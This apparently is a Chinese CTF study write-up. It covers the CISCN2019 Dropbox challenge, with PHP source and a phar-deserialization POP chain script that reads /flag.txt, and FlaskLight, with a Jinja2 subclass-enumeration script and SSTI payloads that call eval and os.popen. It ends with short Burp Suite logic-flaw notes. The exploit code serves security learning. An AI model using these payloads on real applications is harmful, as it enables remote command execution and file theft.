[CISCN2019 华北赛区 Day1 Web1]Dropbox
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERe `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECt `password` FROM `users` WHERe `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '| ' . htmlentities($func) . ' | ';
}
$table .= 'Opt | ';
$table .= '
';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '| ' . htmlentities($value) . ' | ';
}
$table .= '下载 / 删除 | ';
$table .= '
';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()为链子
public $db;
public function __construct() {
global $db;
$this->db = new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename;
}
$a = new User();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($a);
$phar->addFromString("1.txt", "1");
$phar->stopBuffering();
?>
User->destruct()会调用db的close()
db初始化为FileList类,FileList类没有close(),所以调用FileList类的__call()
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
向FileList类的funcs数组尾部插入一个或多个元素,$func为空
funcs数组还是原来的样子为空
files数组包含一个File类
$file->name()获得flag.txt
$this->results[$file->name()][$func] = $file->$func();
results设置为空数组
调用File类的$func()
$func为空
到此我觉得不能执行了,我不知道PHP怎么运行起来的
但是我找到一篇WP
下面是其中的一张图片
说明__call()两个参数是自动获取的
我在这篇文章得到了解释
说明在本题中
$func是close,$arg为空
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
所以funcs数组获得了close
files数组包含一个File类
$file->name()获得flag.txt
$this->results["flag.txt"]["close"] = $file->$func();
$file->$func()就是调用File类的close(),读取flag.txt的值
[CSCCTF 2019 Qual]FlaskLight
研究一下这个师傅写的脚本,作用是查找可用子类
# Author : Sk1y
import requests
import re
import html
import time
index = 0
for i in range(0, 1000):
try:
url = "http://57640c8d-f6b1-4fa4-9e8a-b4b9c1850d3b.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("You searched for:W+(.*)", r.text)#res[0]数组存储回显
#time.sleep(0.1)
res = html.unescape(res[0])#反转义字符串
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
#258 |
#59 |
#71 |
''.__class__.__mro__#找到object类
''.__class__.__mro__[2].__subclasses__()#查找object类的子类
{{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}#遍历所有子类
re.findall()函数用来匹配的,返回string中所有与pattern匹配的全部字符串,返回形式为数组。
res = re.findall("You searched for:W+(.*)", r.text)
这个脚本就是找subprocess.Popen的序号,也可以改为找warnings.catch_warnings、site._Printer。
不同版本python序号不一样。
?search={{().__class__.__bases__[0].__subclasses__()[258].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
?search={{().__class__.__bases__[0].__subclasses__()[258].__init__['__glo'+'bals__']['eval']('__import__("os").popen("ls").read()')}}
第一个比第二个多了一个['__builtins__'],我发现__globals__可以获得eval所以觉得不用再加上一个['__builtins__']获得eval,结果发现我错了。求师傅们解答。
也可以用file类读文件
?search={{().__class__.__bases__[0].__subclasses__()[40]("/flasklight/coomme_geeeett_youur_flek").read()}}
Burpsuite Lab 逻辑漏洞
Excessive trust in client-side controls
过度信任客户端的控制
比如商品价格由客户端提交
High-level logic vulnerability